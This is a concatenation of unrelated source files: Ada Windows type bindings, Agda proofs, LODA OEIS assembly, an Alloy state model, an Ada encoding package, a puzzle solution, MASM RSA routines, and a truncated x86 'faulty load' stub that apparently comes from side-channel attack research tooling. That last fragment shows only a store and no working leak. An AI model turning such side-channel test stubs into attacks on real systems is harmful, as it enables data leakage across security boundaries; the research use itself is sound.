type PHALF_PTR is access all short; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:100
subtype SHANDLE_PTR is long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:101
subtype HANDLE_PTR is unsigned_long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:102
function PtrToPtr64 (p : System.Address) return System.Address; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:120
pragma Import (C, PtrToPtr64, "PtrToPtr64");
function Ptr64ToPtr (p : System.Address) return System.Address; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:121
pragma Import (C, Ptr64ToPtr, "Ptr64ToPtr");
function HandleToHandle64 (h : System.Address) return System.Address; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:122
pragma Import (C, HandleToHandle64, "HandleToHandle64");
function Handle64ToHandle (h : System.Address) return System.Address; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:123
pragma Import (C, Handle64ToHandle, "Handle64ToHandle");
subtype SIZE_T is ULONG_PTR; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:149
type PSIZE_T is access all ULONG_PTR; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:149
subtype SSIZE_T is LONG_PTR; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:150
type PSSIZE_T is access all LONG_PTR; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:150
subtype DWORD_PTR is ULONG_PTR; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:151
type PDWORD_PTR is access all ULONG_PTR; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:151
subtype LONG64 is Long_Long_Integer; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:152
type PLONG64 is access all Long_Long_Integer; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:152
subtype ULONG64 is Extensions.unsigned_long_long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:153
type PULONG64 is access all Extensions.unsigned_long_long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:153
subtype DWORD64 is Extensions.unsigned_long_long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:154
type PDWORD64 is access all Extensions.unsigned_long_long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:154
subtype KAFFINITY is ULONG_PTR; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:155
type PKAFFINITY is access all KAFFINITY; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:156
end basetsd_h;
|
src/fot/FOTC/Program/SortList/Properties/Totality/TreeATP.agda | asr/fotc | 11 | 6619 | ------------------------------------------------------------------------------
-- Totality properties respect to Tree
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module FOTC.Program.SortList.Properties.Totality.TreeATP where
open import FOTC.Base
open import FOTC.Base.List
open import FOTC.Data.Nat.Inequalities.PropertiesATP
open import FOTC.Data.Nat.List.Type
open import FOTC.Data.Nat.Type
open import FOTC.Program.SortList.SortList
open import FOTC.Data.Nat.Inequalities
------------------------------------------------------------------------------
toTree-Tree : ∀ {item t} → N item → Tree t → Tree (toTree · item · t)
toTree-Tree {item} Nitem tnil = prf
where postulate prf : Tree (toTree · item · nil)
{-# ATP prove prf #-}
toTree-Tree {item} Nitem (ttip {i} Ni) = prf (x>y∨x≤y Ni Nitem)
where postulate prf : i > item ∨ i ≤ item → Tree (toTree · item · tip i)
{-# ATP prove prf x>y→x≰y #-}
toTree-Tree {item} Nitem (tnode {t₁} {i} {t₂} Tt₁ Ni Tt₂) =
prf (x>y∨x≤y Ni Nitem) (toTree-Tree Nitem Tt₁) (toTree-Tree Nitem Tt₂)
where
postulate prf : i > item ∨ i ≤ item →
Tree (toTree · item · t₁) →
Tree (toTree · item · t₂) →
Tree (toTree · item · node t₁ i t₂)
{-# ATP prove prf x>y→x≰y #-}
makeTree-Tree : ∀ {is} → ListN is → Tree (makeTree is)
makeTree-Tree lnnil = prf
where postulate prf : Tree (makeTree [])
{-# ATP prove prf #-}
makeTree-Tree (lncons {i} {is} Nn Lis) = prf (makeTree-Tree Lis)
where postulate prf : Tree (makeTree is) → Tree (makeTree (i ∷ is))
{-# ATP prove prf toTree-Tree #-}
|
oeis/335/A335749.asm | neoneye/loda-programs | 11 | 11904 | <reponame>neoneye/loda-programs<filename>oeis/335/A335749.asm
; A335749: a(n) = n!*[x^n] exp(2*x)*(y*sinh(x*y) + cosh(x*y)) and y = sqrt(6).
; Submitted by <NAME>(s3)
; 1,8,34,152,676,3008,13384,59552,264976,1179008,5245984,23341952,103859776,462123008,2056211584,9149092352,40708792576,181133355008,805951005184,3586070730752,15956184933376,70996881195008,315899894646784,1405593340977152,6254173153202176,27827879294763008,123819863485456384,550935212531351552,2451380577096318976,10907392733447979008,48532332087984553984,215944113818834173952,960841119451305803776,4275252705442891563008,19022693060674177859584,84641277653582494564352,376610496735678333976576
mov $3,1
lpb $0
sub $0,1
add $2,$3
mul $2,2
mov $3,$1
mov $1,$2
add $3,$2
lpe
mov $0,$2
add $0,$3
add $1,$0
add $1,$2
mov $0,$1
|
programs/oeis/034/A034007.asm | karttu/loda | 0 | 245576 | <reponame>karttu/loda<filename>programs/oeis/034/A034007.asm<gh_stars>0
; A034007: First differences of A045891.
; 1,0,2,4,9,20,44,96,208,448,960,2048,4352,9216,19456,40960,86016,180224,376832,786432,1638400,3407872,7077888,14680064,30408704,62914560,130023424,268435456,553648128,1140850688,2348810240,4831838208,9932111872,20401094656,41875931136,85899345920,176093659136,360777252864,738734374912,1511828488192,3092376453120,6322191859712,12919261626368,26388279066624,53876069761024,109951162777600,224300372066304,457396837154816,932385860354048,1899956092796928,3870280929771520,7881299347898368
mov $4,2
mov $8,$0
lpb $4,1
mov $0,$8
sub $4,1
add $0,$4
sub $0,1
mov $3,2
mov $15,$0
lpb $3,1
mov $0,$15
sub $3,1
add $0,$3
sub $0,1
mov $11,$0
mov $13,2
lpb $13,1
sub $13,1
add $0,$13
sub $0,1
mov $5,1
add $5,$0
add $5,1
mov $7,$6
add $7,2
pow $7,$0
mul $7,2
mul $5,$7
mov $14,$13
lpb $14,1
mov $12,$5
sub $14,1
lpe
lpe
lpb $11,1
mov $11,0
sub $12,$5
lpe
mov $5,$12
mov $10,$3
lpb $10,1
mov $9,$5
sub $10,1
lpe
lpe
lpb $15,1
sub $9,$5
mov $15,0
lpe
mov $2,$4
mov $5,$9
lpb $2,1
mov $1,$5
sub $2,1
lpe
lpe
lpb $8,1
sub $1,$5
mov $8,0
lpe
div $1,4
|
src/rosa/rosa-tasks.ads | kisom/rover-mk1 | 0 | 6690 | with Interfaces;
use Interfaces;
package ROSA.Tasks is
type States is (Running, Suspended, Waiting, Ready);
type Task_Status is (OK,
Not_Ready,
Not_Running);
type Tasking is private;
-- Initialise a new tasking structure.
procedure Create (Task_ID, Priority : in Unsigned_8; t : out Tasking);
-- Start up a ready task, putting it into the running state.
function Run (t : in Tasking) return Task_Status;
-- Suspend a running task.
function Suspend (t : in Tasking) return Task_Status;
private
type Tasking is record
Task_ID : Unsigned_8;
State : States;
Priority : Unsigned_8;
end record;
end ROSA.Tasks;
|
ciphers/RSA.asm | FloydZ/Crypto-Hash | 11 | 100964 | <gh_stars>10-100
RSAKeyGen PROTO keySize:DWORD, pKey:DWORD, pupKey:DWORD, p:DWORD, q:DWORD, n:DWORD
RSAEncode PROTO pKey:DWORD, _n:DWORD, _m:DWORD, _c:DWORD
RSADecode PROTO e:DWORD, n:DWORD, _c:DWORD, m:DWORD
.code
RSAKeyGen proc keySize:DWORD, e:DWORD, d:DWORD, p:DWORD, q:DWORD, n:DWORD
LOCAL phi
mov eax, keySize
mov ecx, 2
xor edx, edx
div ecx
invoke bnInit, eax
invoke bnCreate
mov p, eax
invoke bnCreate
mov q, eax
invoke bnInit,keySize
bnCreateX phi
mov eax, keySize
xor edx, edx
mov ecx, 2
div ecx
invoke bnRsaGenPrime,p,eax
mov eax, keySize
xor edx, edx
mov ecx, 2
div ecx
invoke bnRsaGenPrime,q,eax
invoke bnMul,p,q,n
invoke bnDec,p
invoke bnDec,q
invoke bnMul,p,q,phi
invoke bnMovzx,e,10001h
invoke bnModInv,e,phi,d
;bnDestroyX
ret
RSAKeyGen endp
RSAEncode proc d:DWORD, n:DWORD, m:DWORD, _c:DWORD
invoke bnMontyModExp, m, d, n, _c
ret
RSAEncode endp
RSADecode proc e:DWORD, n:DWORD, _c:DWORD, m:DWORD
invoke bnMontyModExp,_c,e,n,m
ret
RSADecode endp
;invoke Base64Encode, addr buffer2, keySize, addr buffer
;
; INVOKE CreateFile,offset szFileName,GENERIC_WRITE,FILE_SHARE_READ,
; NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
;
; INVOKE WriteFile, eax, offset buffer, keySize, offset buffer2, NULL |
source/s-stelfo.ads | ytomino/drake | 33 | 1612 | pragma License (Unrestricted);
-- extended unit
package System.Storage_Elements.Formatting is
-- The formatting functions Image and Value for System.Address.
pragma Pure;
subtype Address_String is String (1 .. (Standard'Address_Size + 3) / 4);
function Image (Value : Address) return Address_String;
function Value (Value : Address_String) return Address;
end System.Storage_Elements.Formatting;
|
state/idioms_for_state_transition.als | nowavailable/alloy_als_study | 0 | 2540 | module main
// Boundaryは、何らかの1次元の位置、つまり何らかの値を表す。
sig Boundary { val: one Int }
sig Entity {
some_field: one Boundary,
// 状態変化を表現することを目的に付加したフィールド
meta_identifier: one Int,
meta_state: one Int
}
fact {
/** meta_state は、-1か0しかない。つまり、事前と事後。*/
all e:Entity | e.meta_state = 0 or e.meta_state = -1
/**
ID が等しいふたつAtomがあったら、
それはひとつのAtomの事前状態と事後状態であると考える。
*/
all e,e':Entity |
(e != e' and e.meta_identifier = e'.meta_identifier) =>
(e.meta_state != e'.meta_state)
}
run {} for 3 but 4 Entity, 3 Int
|
oeis/158/A158551.asm | neoneye/loda-programs | 11 | 95403 | <reponame>neoneye/loda-programs
; A158551: a(n) = 26*n^2 - 1.
; Submitted by <NAME>
; 25,103,233,415,649,935,1273,1663,2105,2599,3145,3743,4393,5095,5849,6655,7513,8423,9385,10399,11465,12583,13753,14975,16249,17575,18953,20383,21865,23399,24985,26623,28313,30055,31849,33695,35593,37543,39545,41599,43705,45863,48073,50335,52649,55015,57433,59903,62425,64999,67625,70303,73033,75815,78649,81535,84473,87463,90505,93599,96745,99943,103193,106495,109849,113255,116713,120223,123785,127399,131065,134783,138553,142375,146249,150175,154153,158183,162265,166399,170585,174823,179113,183455
add $0,1
pow $0,2
mul $0,26
sub $0,1
|
antlr-editing-plugins/antlr-file-support/src/main/resources/org/nemesis/antlr/file/AntlrSample.g4 | timboudreau/ANTLR4-Plugins-for-NetBeans | 1 | 1414 | /*
* A license comment
*/
grammar AntlrSample;
@lexer::members { private void logStatus(String msg) {
System.out.println(msg + " mode " + modeNames[_mode] ": " + _input.getText(new Interval(_tokenStartCharIndex, _input.index()))); }
}}
// Handle several kinds of timestamp
timestampDecl : ( def? Colon ts=Timestamp constraints* ) #IsoTimestamp
| ( def? Colon amt=digits constraints* ) #UnixTimestamp
| ( def? Colon lit=relative constraints* ) #FooTimestamp;
constraints : ( min=min | max=max | req=req )+;
max : 'max' value=timestampLiteral;
min : Min value=timestampLiteral;
req : 'required';
def : 'default'? '=' def=timestampLiteral;
relative : 'today' | 'yesterday' | 'tomorrow';
timestampLiteral : Timestamp;
digits : DIGIT ( DIGIT | '_' )*;
Thing : Timestamp~[\r\n]*;
Timestamp : Datestamp 'T' Time { logStatus("Timestamp"); };
Datestamp : FOUR_DIGITS '-' TWO_DIGITS '-' TWO_DIGITS;
Time : TWO_DIGITS ':' TWO_DIGITS ':' TWO_DIGITS TS_FRACTION? TS_OFFSET;
Min : 'min';
Colon : ':';
fragment FOUR_DIGITS : DIGIT DIGIT DIGIT DIGIT;
fragment TWO_DIGITS : DIGIT DIGIT;
fragment TS_FRACTION : '.' DIGIT+;
fragment TS_OFFSET : 'Z' | TS_NUM_OFFSET;
fragment TS_NUM_OFFSET : ( '+' | '-' ) DIGIT DIGIT ':' DIGIT DIGIT;
fragment DIGIT : [0-9]; |
agda-stdlib-0.9/src/Data/Integer/Multiplication/Properties.agda | qwe2/try-agda | 1 | 15091 | <filename>agda-stdlib-0.9/src/Data/Integer/Multiplication/Properties.agda
------------------------------------------------------------------------
-- The Agda standard library
--
-- Properties related to multiplication of integers
------------------------------------------------------------------------
module Data.Integer.Multiplication.Properties where
open import Algebra
using (module CommutativeSemiring; CommutativeMonoid)
import Algebra.FunctionProperties
open import Algebra.Structures using (IsSemigroup; IsCommutativeMonoid)
open import Data.Integer
using (ℤ; -[1+_]; +_; ∣_∣; sign; _◃_) renaming (_*_ to ℤ*)
open import Data.Nat
using (suc; zero) renaming (_+_ to _ℕ+_; _*_ to _ℕ*_)
open import Data.Product using (proj₂)
import Data.Nat.Properties as ℕ
open import Data.Sign using () renaming (_*_ to _S*_)
open import Function using (_∘_)
open import Relation.Binary.PropositionalEquality
using (_≡_; refl; cong; cong₂; isEquivalence)
open Algebra.FunctionProperties (_≡_ {A = ℤ})
open CommutativeSemiring ℕ.commutativeSemiring
using (+-identity; *-comm) renaming (zero to *-zero)
------------------------------------------------------------------------
-- Multiplication and one form a commutative monoid
private
identityˡ : LeftIdentity (+ 1) ℤ*
identityˡ (+ zero ) = refl
identityˡ -[1+ n ] rewrite proj₂ +-identity n = refl
identityˡ (+ suc n) rewrite proj₂ +-identity n = refl
comm : Commutative ℤ*
comm -[1+ a ] -[1+ b ] rewrite *-comm (suc a) (suc b) = refl
comm -[1+ a ] (+ b ) rewrite *-comm (suc a) b = refl
comm (+ a ) -[1+ b ] rewrite *-comm a (suc b) = refl
comm (+ a ) (+ b ) rewrite *-comm a b = refl
lemma : ∀ a b c → c ℕ+ (b ℕ+ a ℕ* suc b) ℕ* suc c
≡ c ℕ+ b ℕ* suc c ℕ+ a ℕ* suc (c ℕ+ b ℕ* suc c)
lemma =
solve 3 (λ a b c → c :+ (b :+ a :* (con 1 :+ b)) :* (con 1 :+ c)
:= c :+ b :* (con 1 :+ c) :+
a :* (con 1 :+ (c :+ b :* (con 1 :+ c))))
refl
where open ℕ.SemiringSolver
assoc : Associative ℤ*
assoc (+ zero) _ _ = refl
assoc x (+ zero) _ rewrite proj₂ *-zero ∣ x ∣ = refl
assoc x y (+ zero) rewrite
proj₂ *-zero ∣ y ∣
| proj₂ *-zero ∣ x ∣
| proj₂ *-zero ∣ sign x S* sign y ◃ ∣ x ∣ ℕ* ∣ y ∣ ∣
= refl
assoc -[1+ a ] -[1+ b ] (+ suc c) = cong (+_ ∘ suc) (lemma a b c)
assoc -[1+ a ] (+ suc b) -[1+ c ] = cong (+_ ∘ suc) (lemma a b c)
assoc (+ suc a) (+ suc b) (+ suc c) = cong (+_ ∘ suc) (lemma a b c)
assoc (+ suc a) -[1+ b ] -[1+ c ] = cong (+_ ∘ suc) (lemma a b c)
assoc -[1+ a ] -[1+ b ] -[1+ c ] = cong -[1+_] (lemma a b c)
assoc -[1+ a ] (+ suc b) (+ suc c) = cong -[1+_] (lemma a b c)
assoc (+ suc a) -[1+ b ] (+ suc c) = cong -[1+_] (lemma a b c)
assoc (+ suc a) (+ suc b) -[1+ c ] = cong -[1+_] (lemma a b c)
isSemigroup : IsSemigroup _ _
isSemigroup = record
{ isEquivalence = isEquivalence
; assoc = assoc
; ∙-cong = cong₂ ℤ*
}
isCommutativeMonoid : IsCommutativeMonoid _≡_ ℤ* (+ 1)
isCommutativeMonoid = record
{ isSemigroup = isSemigroup
; identityˡ = identityˡ
; comm = comm
}
commutativeMonoid : CommutativeMonoid _ _
commutativeMonoid = record
{ Carrier = ℤ
; _≈_ = _≡_
; _∙_ = ℤ*
; ε = + 1
; isCommutativeMonoid = isCommutativeMonoid
}
|
core/lib/groups/Groups.agda | cmknapp/HoTT-Agda | 0 | 3449 |
{-# OPTIONS --without-K #-}
module lib.groups.Groups where
open import lib.groups.Homomorphisms public
open import lib.groups.Lift public
open import lib.groups.Unit public
open import lib.groups.PropSubgroup public
open import lib.groups.GroupProduct public
open import lib.groups.PullbackGroup public
open import lib.groups.TruncationGroup public
open import lib.groups.HomotopyGroup public
open import lib.groups.FormalSum public
|
programs/oeis/216/A216195.asm | karttu/loda | 0 | 245089 | <gh_stars>0
; A216195: Abelian complexity function of the period-doubling sequence (A096268).
; 2,2,3,2,3,3,3,2,3,3,4,3,4,3,3,2,3,3,4,3,4,4,4,3,4,4,4,3,4,3,3,2,3,3,4,3,4,4,4,3,4,4,5,4,5,4,4,3,4,4,5,4,5,4,4,3,4,4,4,3,4,3,3,2,3,3,4,3,4,4,4,3,4,4,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,4,4,3,4,4,4,3,4,3,3,2,3,3,4,3,4,4,4,3,4,4,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,6,5,6,5,5,4,5,5,6,5,6,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,6,5,6,5,5,4,5,5,6,5,6,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,5,5,4,5,5,5,4,5,4,4,3,4,4,5,4,5,4,4,3,4,4
add $0,1
lpb $0,1
sub $0,1
add $2,2
add $3,6
add $3,$2
cal $0,80776 ; Oscillating sequence which rises to 2^(k-1) in k-th segment (k>=1) then falls back to 0.
mov $1,4
mul $1,$3
mov $2,1
lpe
div $1,36
add $1,2
|
test/Fail/SyntaxForOperators.agda | cruhland/agda | 1,989 | 12348 | module SyntaxForOperators where
postulate _+_ : Set → Set → Set
syntax _+_ A B = A ⊎ B
|
oeis/196/A196532.asm | neoneye/loda-programs | 11 | 105365 | ; A196532: a(n) = (n+1)!*(H(n)+H(n+1)), where H(n) = Sum_{k=1..n} 1/k is the n-th harmonic number.
; Submitted by <NAME>
; 1,5,20,94,524,3408,25416,214128,2012832,20894400,237458880,2932968960,39126516480,560704273920,8591147712000,140160890419200,2425888391270400,44398288688947200,856727919929548800,17384250973114368000,370056719552163840000,8245862616499200000000,191953932577208524800000,4659722416058552156160000,117759809221669167759360000,3093397908251793573150720000,84343837655094968732221440000,2383808484704622434459320320000,69751111615107896672484065280000,2110521760785328017944110694400000
mov $1,1
lpb $0
mov $2,$0
add $3,$1
mul $3,$0
sub $0,1
add $2,1
mul $1,$2
add $3,$1
lpe
mov $0,$1
add $0,$3
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/trunc_fastcall.asm | meesokim/z88dk | 0 | 22656 |
SECTION code_fp_math48
PUBLIC _trunc_fastcall
EXTERN cm48_sdccix_trunc_fastcall
defc _trunc_fastcall = cm48_sdccix_trunc_fastcall
|
Cubical/Data/Empty.agda | limemloh/cubical | 1 | 13203 | <gh_stars>1-10
{-# OPTIONS --cubical --safe #-}
module Cubical.Data.Empty where
open import Cubical.Data.Empty.Base public
open import Cubical.Data.Empty.Properties public
|
oeis/232/A232970.asm | neoneye/loda-programs | 11 | 8073 | ; A232970: Expansion of (1-3*x)/(1-5*x+3*x^2+x^3).
; Submitted by <NAME>(s1)
; 1,2,7,28,117,494,2091,8856,37513,158906,673135,2851444,12078909,51167078,216747219,918155952,3889371025,16475640050,69791931223,295643364940,1252365390981,5305104928862,22472785106427,95196245354568,403257766524697,1708227311453354,7236167012338111,30652895360805796,129847748455561293,550043889183050966,2330023305187765155,9870137109934111584,41810571744924211489,177112424089630957538,750260268103448041639,3178153496503423124092,13462874254117140538005,57029650512971985276110
mul $0,3
mov $2,1
lpb $0
sub $0,2
add $1,$2
add $2,$1
lpe
lpb $0
div $0,4
add $2,$1
lpe
mov $0,$2
div $0,2
add $0,1
|
source/nls/a-envenc.adb | ytomino/drake | 33 | 10041 | <filename>source/nls/a-envenc.adb
package body Ada.Environment_Encoding is
-- implementation
function Is_Open (Object : Converter) return Boolean is
N_Object : System.Native_Environment_Encoding.Converter
renames Controlled.Reference (Object).all;
begin
return System.Native_Environment_Encoding.Is_Open (N_Object);
end Is_Open;
function Min_Size_In_From_Stream_Elements (
Object : Converter)
return Streams.Stream_Element_Offset
is
pragma Check (Dynamic_Predicate,
Check => Is_Open (Object) or else raise Status_Error);
N_Object : System.Native_Environment_Encoding.Converter
renames Controlled.Reference (Object).all;
begin
return System.Native_Environment_Encoding
.Min_Size_In_From_Stream_Elements_No_Check (
N_Object);
end Min_Size_In_From_Stream_Elements;
function Substitute (
Object : Converter)
return Streams.Stream_Element_Array
is
pragma Check (Dynamic_Predicate,
Check => Is_Open (Object) or else raise Status_Error);
N_Object : System.Native_Environment_Encoding.Converter
renames Controlled.Reference (Object).all;
begin
return System.Native_Environment_Encoding.Substitute_No_Check (N_Object);
end Substitute;
procedure Set_Substitute (
Object : in out Converter;
Substitute : Streams.Stream_Element_Array)
is
pragma Check (Dynamic_Predicate,
Check => Is_Open (Object) or else raise Status_Error);
N_Object : System.Native_Environment_Encoding.Converter
renames Controlled.Reference (Object).all;
begin
System.Native_Environment_Encoding.Set_Substitute_No_Check (
N_Object,
Substitute);
end Set_Substitute;
procedure Convert (
Object : Converter;
Item : Streams.Stream_Element_Array;
Last : out Streams.Stream_Element_Offset;
Out_Item : out Streams.Stream_Element_Array;
Out_Last : out Streams.Stream_Element_Offset;
Finish : Boolean;
Status : out Subsequence_Status_Type)
is
pragma Check (Dynamic_Predicate,
Check => Is_Open (Object) or else raise Status_Error);
N_Object : System.Native_Environment_Encoding.Converter
renames Controlled.Reference (Object).all;
N_Status : System.Native_Environment_Encoding.Subsequence_Status_Type;
begin
System.Native_Environment_Encoding.Convert_No_Check (
N_Object,
Item,
Last,
Out_Item,
Out_Last,
Finish,
N_Status);
Status := Subsequence_Status_Type'Enum_Val (
System.Native_Environment_Encoding.Subsequence_Status_Type'Enum_Rep (
N_Status));
end Convert;
procedure Convert (
Object : Converter;
Item : Streams.Stream_Element_Array;
Last : out Streams.Stream_Element_Offset;
Out_Item : out Streams.Stream_Element_Array;
Out_Last : out Streams.Stream_Element_Offset;
Status : out Continuing_Status_Type)
is
pragma Check (Dynamic_Predicate,
Check => Is_Open (Object) or else raise Status_Error);
N_Object : System.Native_Environment_Encoding.Converter
renames Controlled.Reference (Object).all;
N_Status : System.Native_Environment_Encoding.Continuing_Status_Type;
begin
System.Native_Environment_Encoding.Convert_No_Check (
N_Object,
Item,
Last,
Out_Item,
Out_Last,
N_Status);
Status := Continuing_Status_Type'Enum_Val (
System.Native_Environment_Encoding.Continuing_Status_Type'Enum_Rep (
N_Status));
end Convert;
procedure Convert (
Object : Converter;
Out_Item : out Streams.Stream_Element_Array;
Out_Last : out Streams.Stream_Element_Offset;
Finish : True_Only;
Status : out Finishing_Status_Type)
is
pragma Check (Dynamic_Predicate,
Check => Is_Open (Object) or else raise Status_Error);
N_Object : System.Native_Environment_Encoding.Converter
renames Controlled.Reference (Object).all;
N_Status : System.Native_Environment_Encoding.Finishing_Status_Type;
begin
System.Native_Environment_Encoding.Convert_No_Check (
N_Object,
Out_Item,
Out_Last,
Finish,
N_Status);
Status := Finishing_Status_Type'Enum_Val (
System.Native_Environment_Encoding.Finishing_Status_Type'Enum_Rep (
N_Status));
end Convert;
procedure Convert (
Object : Converter;
Item : Streams.Stream_Element_Array;
Last : out Streams.Stream_Element_Offset;
Out_Item : out Streams.Stream_Element_Array;
Out_Last : out Streams.Stream_Element_Offset;
Finish : True_Only;
Status : out Status_Type)
is
Subsequence_Status : Subsequence_Status_Type;
begin
Convert (
Object, -- checking the predicate
Item,
Last,
Out_Item,
Out_Last,
Finish,
Subsequence_Status);
pragma Assert (
Subsequence_Status in
Subsequence_Status_Type (Status_Type'First) ..
Subsequence_Status_Type (Status_Type'Last));
Status := Status_Type (Subsequence_Status);
end Convert;
procedure Convert (
Object : Converter;
Item : Streams.Stream_Element_Array;
Last : out Streams.Stream_Element_Offset;
Out_Item : out Streams.Stream_Element_Array;
Out_Last : out Streams.Stream_Element_Offset;
Finish : True_Only;
Status : out Substituting_Status_Type)
is
pragma Check (Dynamic_Predicate,
Check => Is_Open (Object) or else raise Status_Error);
N_Object : System.Native_Environment_Encoding.Converter
renames Controlled.Reference (Object).all;
N_Status : System.Native_Environment_Encoding.Substituting_Status_Type;
begin
System.Native_Environment_Encoding.Convert_No_Check (
N_Object,
Item,
Last,
Out_Item,
Out_Last,
Finish,
N_Status);
Status := Substituting_Status_Type'Enum_Val (
System.Native_Environment_Encoding.Substituting_Status_Type'Enum_Rep (
N_Status));
end Convert;
package body Controlled is
function Reference (Object : Environment_Encoding.Converter)
return not null access System.Native_Environment_Encoding.Converter is
begin
return Converter (Object).Data'Unrestricted_Access;
end Reference;
function Open (From, To : Encoding_Id)
return Environment_Encoding.Converter is
begin
return Result : Environment_Encoding.Converter do
System.Native_Environment_Encoding.Open (
Converter (Result).Data'Unrestricted_Access.all,
From => System.Native_Environment_Encoding.Encoding_Id (From),
To => System.Native_Environment_Encoding.Encoding_Id (To));
end return;
end Open;
overriding procedure Finalize (Object : in out Converter) is
begin
System.Native_Environment_Encoding.Close (Object.Data);
end Finalize;
end Controlled;
end Ada.Environment_Encoding;
|
solutions/12 - Unzip/size-8_speed-7.asm | behrmann/7billionhumans | 45 | 95732 | -- 7 Billion Humans (2053) --
-- 12: Unzip --
-- Author: soerface
-- Size: 8
-- Speed: 7
comment 2
pickup c
a:
if nw == worker:
step s
drop
endif
if sw == worker or
w == wall:
step n
drop
endif
jump a
|
src/fsmaker-commands.ads | Fabien-Chouteau/fsmaker | 0 | 3187 | with CLIC.Subcommand;
private with Ada.Text_IO;
private with GNAT.OS_Lib;
private with CLIC.Subcommand.Instance;
private with CLIC.TTY;
private with FSmaker.Target;
package FSmaker.Commands is
procedure Set_Global_Switches
(Config : in out CLIC.Subcommand.Switches_Configuration);
procedure Execute;
function Format return String;
function Image_Path return String;
function Verbose return Boolean;
function Debug return Boolean;
type Command is abstract new CLIC.Subcommand.Command with private;
function Switch_Parsing (This : Command)
return CLIC.Subcommand.Switch_Parsing_Kind
is (CLIC.Subcommand.Parse_All);
procedure Setup_Image (This : in out Command;
To_Format : Boolean := False);
procedure Close_Image (This : in out Command);
procedure Success (This : in out Command);
procedure Failure (This : in out Command; Msg : String)
with No_Return;
procedure Usage_Error (This : in out Command; Msg : String)
with No_Return;
private
Sw_Format : aliased GNAT.OS_Lib.String_Access;
Sw_Image : aliased GNAT.OS_Lib.String_Access;
Sw_Verbose : aliased Boolean;
Sw_Debug : aliased Boolean;
function Format return String
is (if GNAT.OS_Lib."=" (Sw_Format, null) then "" else Sw_Format.all);
function Image_Path return String
is (if GNAT.OS_Lib."=" (Sw_Image, null) then "" else Sw_Image.all);
function Verbose return Boolean
is (Sw_Verbose);
function Debug return Boolean
is (Sw_Debug);
procedure Put_Error (Str : String);
package Sub_Cmd is new CLIC.Subcommand.Instance
(Main_Command_Name => "fsmaker",
Version => "0.1.0-dev",
Set_Global_Switches => Set_Global_Switches,
Put => Ada.Text_IO.Put,
Put_Line => Ada.Text_IO.Put_Line,
Put_Error => Put_Error,
Error_Exit => GNAT.OS_Lib.OS_Exit,
TTY_Chapter => CLIC.TTY.Info,
TTY_Description => CLIC.TTY.Description,
TTY_Version => CLIC.TTY.Version,
TTY_Underline => CLIC.TTY.Underline,
TTY_Emph => CLIC.TTY.Emph);
type Command is abstract new CLIC.Subcommand.Command with record
FD : GNAT.OS_Lib.File_Descriptor;
Target : FSmaker.Target.Any_Filesystem_Ref := null;
end record;
end FSmaker.Commands;
|
Transynther/x86/_processed/AVXALIGN/_zr_un_/i7-7700_9_0x48_notsx.log_21829_1787.asm | ljhsiun2/medusa | 9 | 82355 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r15
push %r8
push %rcx
push %rdi
// Store
lea addresses_WT+0x701e, %rdi
nop
cmp $24247, %r14
mov $0x5152535455565758, %r10
movq %r10, %xmm3
movups %xmm3, (%rdi)
nop
nop
nop
